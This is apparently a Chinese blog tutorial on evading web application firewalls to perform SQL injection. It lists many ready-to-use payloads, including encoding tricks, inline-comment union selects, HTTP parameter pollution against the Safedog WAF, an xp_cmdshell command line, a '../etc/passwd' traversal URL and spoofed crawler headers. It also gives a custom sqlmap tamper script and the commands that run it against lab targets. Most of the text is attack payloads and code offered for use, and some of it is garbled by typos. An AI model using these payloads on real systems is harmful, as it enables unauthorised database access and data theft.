SQL注入-waf绕过
网络资源
/cute-puli/p/11146625.html
/r00tgrok/p/SQL_Injection_Bypassing_WAF_And_Evasion_Of_Filter.html
WAF的常见特征
之所以要谈到WAF的常见特征,是为了更好的了解WAF的运行机制,这样就能增加几分绕过的机会了。本文不对WAF做详细介绍,只谈及几点相关的。
总体来说,WAF(Web Application Firewall)的具有以下四个方面的功能:
审计设备:用来截获所有HTTP数据或者仅仅满足某些规则的会话
访问控制设备:用来控制对Web应用的访问,既包括主动安全模式也包括被动安全模式
架构/网络设计工具:当运行在反向代理模式,他们被用来分配职能,集中控制,虚拟基础结构等。
WEB应用加固工具:这些功能增强被保护Web应用的安全性,它不仅能够屏蔽WEB应用固有弱点,而且能够保护WEB应用编程错误导致的安全隐患。
WAF的常见特点:
异常检测协议:拒绝不符合HTTP标准的请求
增强的输入验证:代理和服务端的验证,而不只是限于客户端验证
白名单&黑名单:白名单适用于稳定的We应用,黑名单适合处理已知问题
基于规则和基于异常的保护:基于规则更多的依赖黑名单机制,基于异常更为灵活
状态管理:重点进行会话保护
另还有:Coikies保护、抗入侵规避技术、响应监视和信息泄露保护等
如果是对于扫描器,WAF有其识别之道:
扫描器识别主要由以下几点:
扫描器指纹(head字段/请求参数值,以wvs为例,会有很明显的Acunetix在内的标识
单IP+ cookie某时间段内触发规则次数
隐藏的链接标签等()
Cookie植入
验证码验证,扫描器无法自动填充验证码
单IP请求时间段内Webserver返回http状态404比例, 扫描器探测敏感目录基于字典,找不到文件则返回404
绕过WAF的方法
从目前能找到的资料来看,我把这些绕过waf的技术分为9类,包含从初级到高级技巧
大小写混合
大小写绕过用于只针对小写或大写的关键字匹配技术,正则表达式/express/i 大小写不敏感即无法绕过,这是最简单的绕过技术
举例:/index.php?page_id=-15 uNIoN sELecT 1,2,3,4
示例场景可能的情况为filter的规则里有对大小写转换的处理,但不是每个关键字或每种情况都有处理
替换关键字
这种情况下大小写转化无法绕过,而且正则表达式会替换或删除select、union这些关键字,如果只匹配一次就很容易绕过
举例:/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4
同样是很基础的技术,有些时候甚至构造得更复杂:SeLSeselectleCTecT,不建议对此抱太大期望
使用编码
1.URL编码
在Chrome中输入一个连接,非保留字的字符浏览器会对其URL编码,如空格变为%20、单引号%27、左括号%28、右括号%29
1.12.250.218:100/Less-2/?id=1 union%23a%0Aselect 1,2,3#
这里相当于 %23(#,注释符) ,%0A (换行,这里相当于两个语句) , a 防止 waf 扫描到 union select 这样子的联合注入语句
1.12.250.218:100/Less-2/?id=1 union#aselect 1,2,3#
在数据库中
mysql> select * from users where id=1 union #a -> select 1,2,3;+----+----------+----------+| id | username | password |+----+----------+----------+| 1 | Dumb| Dumb|| 1 | 2 | 3 |+----+----------+----------+2 rows in set (0.00 sec)
普通的URL编码可能无法实现绕过,还存在一种情况URL编码只进行了一次过滤,可以用两次编码绕过:
1.12.250.218:100/Less-2/?id=1 UNION%23a%0ASELECT 1,2,3#page.php?id=1%252f%252a*/UNION%252f%252a /SELECT
2.十六进制编码
举例:
/index.php?page_id=-15 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4…SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))
示例代码中,前者是对单个字符十六进制编码,后者则是对整个字符串编码,使用上来说较少见一点
3.Unicode编码
Unicode有所谓的标准编码和非标准编码,假设我们用的utf-8为标准编码,那么西欧语系所使用的就是非标准编码了
看一下常用的几个符号的一些Unicode编码:
单引号: %u0027、%u02b9、%u02bc、%u02c8、%u2032、%uff07、%c0%27、%c0%a7、%e0%80%a7
空格:%u0020、%uff00、%c0%20、%c0%a0、%e0%80%a0
左括号:%u0028、%uff08、%c0%28、%c0%a8、%e0%80%a8
右括号:%u0029、%uff09、%c0%29、%c0%a9、%e0%80%a9
举例:?id=10%D6‘%20AND%201=2%23
SELECT ‘Ä’=‘A’; #1
两个示例中,前者利用双字节绕过,比如对单引号转义操作变成’,那么就变成了%D6%5C’,%D6%5C构成了一个款字节即Unicode字节,单引号可以正常使用
第二个示例使用的是两种不同编码的字符的比较,它们比较的结果可能是True或者False,关键在于Unicode编码种类繁多,基于黑名单的过滤器无法处理所以情况,从而实现绕过
另外平时听得多一点的可能是utf-7的绕过,还有utf-16、utf-32的绕过,后者从成功的实现对google的绕过,有兴趣的朋友可以去了解下
常见的编码当然还有二进制、八进制,它们不一定都派得上用场,但后面会提到使用二进制的例子
使用注释
看一下常见的用于注释的符号有哪些:*//, – , /**/, #, --+,-- -, ;
1.普通注释
举例:
http://xxx:xxx/Less-2/?id=-11 union select 1,database()/**/,3 --+
/**/在构造得查询语句中插入注释,规避对空格的依赖或关键字识别;#、–+用于终结语句的查询
2.内联注释
相比普通注释,内联注释用的更多,它有一个特性/!**/只有MySQL能识别
举例:
index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3?page_id=null%0A/**//*****!50000%55nIOn*****//*****yoyu*****/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,3,4…
两个示例中前者使用内联注释,后者还用到了普通注释。使用注释一个很有用的做法便是对关键字的拆分,要做到这一点后面讨论的特殊符号也能实现,当然前提是包括/、*在内的这些字符能正常使用
等价函数与命令
有些函数或命令因其关键字被检测出来而无法使用,但是在很多情况下可以使用与之等价或类似的代码替代其使用
1.函数或变量
hex()、bin() ==> ascii()sleep() ==>benchmark()concat_ws()==>group_concat()mid()、substr() ==> substring()@[@user ]() ==> user() @[@datadir ]() ==> datadir()
举例:substring()和substr()无法使用时:?
id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74或者:substr((select 'password'),1,1) = 0x70strcmp(left('password',1), 0x69) = 1strcmp(left('password',1), 0x70) = 0strcmp(left('password',1), 0x71) = -1
上述这几个示例用于说明有时候当某个函数不能使用时,还可以找到其他的函数替代其实现,至于select、uinon、where等关键字被限制如何处理将在后面filter部分讨论
2.符号
and和or有可能不能使用,或者可以试下&&和||能不能用;还有=不能使用的情况,可以考虑尝试<、>,因为如果不小于又不大于,那边是等于了
在看一下用得多的空格,可以使用如下符号表示其作用:%20 %09 %0a %0b %0c %0d %a0 /**/
3.生僻函数
MySQL/PostgreSQL支持XML函数:
Select UpdateXML(‘ ’,’/script/@x/’,’src=//’);?id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1))SELECT xmlelement(name img,xmlattributes(1as src,'a\l\x65rt(1)'as \117n\x65rror));//postgresql?id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
MySQL、PostgreSQL、Oracle它们都有许多自己的函数,基于黑名单的filter要想涵盖这么多东西从实际上来说不太可能,而且代价太大,看来黑名单技术到一定程度便遇到了限制
特殊符号
这里我把非字母数字的字符都规在了特殊符号一类,特殊符号有特殊的含义和用法,涉及信息量比前面提到的几种都要多
先看下乌云drops上“waf的绕过技巧”一文使用的几个例子:
1.使用反引号,例如select
version()`,可以用来过空格和正则,特殊情况下还可以将其做注释符用
2.神奇的"-+.",select+id-1+1.from users; “+”是用于字符串连接的,”-”和”.”在此也用于连接,可以逃过空格和关键字过滤
3.@符号,select@^1.from users; @用于变量定义如**@**var_name,一个@表示用户定义,@@表示系统变量
4.Mysql function() as xxx 也可不用as和空格 select-count(id)test from users; //绕过空格限制
可见,使用这些字符的确是能做很多事,也证实了那句老话,只有想不到,没有做不到
本人搜罗了部分可能发挥大作用的字符(未包括’、*、/等在内,考虑到前面已经出现较多次了):`、~、!、@、%、()、[]、.、-、+ 、|、%00
举例:
关键字拆分:‘se’+’lec’+’t’
%S%E%L%E%C%T 1
1.aspx?d=1;EXEC(‘ma’+'ster…x’+'p_cm’+'dsh’+'ell ”net user”’)
!和():’ or --+2=- -!!!'2
id=1+(UnI)(oN)+(SeL)(EcT)//另 Access中,”[]”用于表和列,”()”用于数值也可以做分隔
本节最后在给出一些和这些字符多少有点关系的操作符供参考:
>>, <<, >=, <=, <>,<=>,XOR, DIV, SOUNDS LIKE, RLIKE, REGEXP, IS, NOT, BETWEEN
使用这些"特殊符号"实现绕过是一件很细微的事情,一方面各家数据库对有效符号的处理是不一样的,另一方面你得充分了解这些符号的特性和使用方法才能作为绕过手段
HTTP参数控制 (http参数污染)
在与服务器进行交互的过程中,客户端往往会在GET/POST请求中带上参数。通常在一个请求中,同名参数只会出现一次,但是在HTTP协议中是允许同名参数多次出现的。
以上图服务器为例假设请求为index.php?id=1&id=2,客户端请求首先通过tomcat解析第一个参数,接下来tomcat去请求apache服务器,而apache解析最后一个参数。实际提供服务的是apache服务器,因此返回客户端的是id=2。
比如在php/apache中:
利用:
mysql> /*!select database()*/;+------------+| database() |+------------+| security |+------------+1 row in set (0.00 sec)访问:xxx:xxx/?id=1/**&id=-1 union select 1,2,3#*/ xxx:xxx/?id=1/**&id=-1%20union%20select%201,2,3%23*/
这个语句在mysql中可以正常执行
mysql> select * from users where id=1/**id=-1 union select 1,2,3#*/;+----+----------+----------+| id | username | password |+----+----------+----------+| 1 | Dumb| Dumb|+----+----------+----------+1 row in set (0.00 sec)
在游览器中这里是php页面所以接受的是后面的id=-1 union select 1,2,3
安全狗这里接收到
/**&id=-1 union select 1,2,3#*/ /** */ :相当注释符 内联注释mysql> /**select dababase()*/;ERROR: No query specified这里提示没有执行语句 安全狗对这个没有执行语句没有拦截,而游览器接收到真实的数据:-1 union select 1,2,3#*/ 进行注入
缓冲区溢出
缓冲区溢出用于对付WAF,有不少WAF是C语言写的,而C语言自身没有缓冲区保护机制,因此如果WAF在处理测试向量时超出了其缓冲区长度,就会引发bug从而实现绕过
举例:
?id=1 and (select 1)=(elect 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
示例0xA*1000指0xA后面”A"重复1000次,一般来说对应用软件构成缓冲区溢出都需要较大的测试长度,这里1000只做参考,在某些情况下可能不需要这么长也能溢出
整合绕过
整合的意思是结合使用前面谈到的各种绕过技术,单一的技术可能无法绕过过滤机制,但是多种技术的配合使用成功的可能性就会增加不少了。这一方面来说是总体与局部和的关系,另一方面则是多种技术的使用创造了更多的可能性,除非每一种技术单独都无法使用,否则它们能产生比自身大得多的能量。
举例:
/index.php?page_id=-15+and+(select 1)=(Select 0xAA[..(add about 1000 "A")..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4…id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()– -?id=-725+/*!UNION*/+/*!SELECT*/+1,GrOUp_COnCaT(COLUMN_NAME),3,4,5+FROM+/*!INFORMATION_SCHEM*/.COLUMNS+WHERE+TABLE_NAME=0x41646d696e--
案例演示
简要其他绕过方式学习FUZZ绕过脚本结合编写测试阿里云盾防SQL注入简要分析安全狗+云盾SQL注入插件脚本编写%23x%20union%23x%0Aselect%201,2,3%20union%20/*!44509select*/%201,2,3%20/*!44509union*/%23x%0aselect%201,1,2,3这个/*!44509union*/是mysql数据库的特性:表示数据库版本在4.4.509以上的话就可以被执行。而waf会略过id=1/**&id=-1%20union%20select%201,2,3%23*/%20union%20all%23%0a%20select%201,2,3%23
方式一:IP白名单
从网络层获取的ip,这种一般伪造不来,如果是获取客户端的IP,这样就可能存在伪造Ip绕过的情况。需要条件比较苛刻
测试方法:修改http的header来bypass waf
x-forwarded-forx-remote-IPx-originating-IPx-remote-addrx-Real-ip
方式二:静态资源
特定的静态资源后缀请求,常见的静态文件(.js .jpg .swf .css等等),类似白名单机制,waf为了检测效率,不去检测这样一些静态文件名后缀的请求。现在一般都会拦截
http://10.s.9.201/sql.php ?id=1http://10.9.9.201/sql.php/1.js=?id=1
备注: aapx/php只识别到前面的.aspx/ .php后面基本不识
方式三:url白名单
为了防止误拦,部分waf内置默认的白名单列表,如acmin/managerl system等管理后台。只要url中存在白名单的字符串,就作为白名单不进行检测。常见的uzl构造姿势:
http://10.s.s.201/=ql.php/admin.php?id=1http://10.9.9.201/sql.php?a=/manage/&b=../etc/passwdhttp://10.9.s.201/../../../manage/../sql.asp?id=2
waf通过/manage/"进行比较,只要uri中存在/manage/就作为白名单不进行检测,这样我们可以通过/sql.php?a=/ manage/&b=…/etc/passwcl绕过防御规则。
方式四:爬虫白名单
在爬虫脚本的请求头中加入官方爬虫比如百度爬虫等白名单的header,waf就不会对你的ip进行封禁
Mozilla/5.0 (compatible; Baiduspider/2.0; +/search/spider.html)
搜索引擎蜘蛛爬虫 User Agent 一览
/liuxl57805678/article/details/89378720
SQLmap tamper
/junsec/p/11607603.html
在tamper文件夹中创建rdog.py
#!/usr/bin/env python"""Copyright (c) - sqlmap developers (/)See the file 'LICENSE' for copying permission"""import refrom lib.core.data import kbfrom lib.core.enums import PRIORITY__priority__ = PRIORITY.NORMALdef dependencies():passdef tamper(payload, **kwargs):retVal = payloadif payload:retVal = retVal.replace('UNION', 'uNiOn/*/%0a*a*/')retVal = retVal.replace('DATABASE()', 'dataBase/*!(*/)')retVal = retVal.replace('DATABASE()', 'dataBase%23a%0a')retVal = retVal.replace('USER()', 'usEr/*!(*/)')retVal = retVal.replace(' ', '/**/')retVal = retVal.replace(" ", '%23a%0a')retVal = retVal.replace('OR', '/*!14400Or*/')retVal = retVal.replace('AND', '/*!14400aNd*/')return retVal
可以看到的是代码并没有按照我们预期执行,我们添加代理看看到底是个什么情况
python sqlmap.py -u "http://10.1.1.120/Less-2/?id=1" --tamper=rdog.py --proxy=http://127.0.0.1:8888
启动burp
可以看到user-agent是sqlmap/1.5.6.4#dev ()
,安全软件当中是禁止使用这种脚本客户端所以就被拦截,自然插件脚本也就没办法正常执行
python sqlmap.py -u "http://10.1.1.120/Less-2/?id=1" --tamper=rdog.py --proxy=http://127.0.0.1:8888 --random-angent
加上–random-angent 这个是在sqlmap的游览器头储存文件中随机取一个
备注:在真实环境当中waf可能会配置流量访问也就是说你访问的速度过快会将你访问的ip拉入黑名单,对此我们使用的策略是延时,代理,爬虫白名单
搜索引擎爬虫user-agent信息:/liuxl57805678/article/details/89378720
自定义user-agent
python sqlmap.py -u "http://10.1.1.120/Less-2/?id=1" --tamper=rdog.py --proxy=http://10.1.1.2:8888 --user-agent="Mozilla/5.0 (compatible; Baiduspider/2.0; +/search/spider.html)"
延时注入
–delay 时间(默认为秒)
C:\Users\admin\Desktop\security\software\sqlmapproject-sqlmap-7c41967>python sqlmap.py -u "http://1.12.250.218/Less-2/?id=1" --tamper=rdog.py --proxy=http://127.0.0.1:8888 --delay 1_____H_____ ___[']_____ ___ ___ {1.5.6.4#dev}|_ -| . [)]| .'| . ||___|_ [)]_|_|_|__,| _||_|V... |_| [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting @ 17:28:14 /-07-27/[17:28:16] [INFO] loading tamper module 'rdog'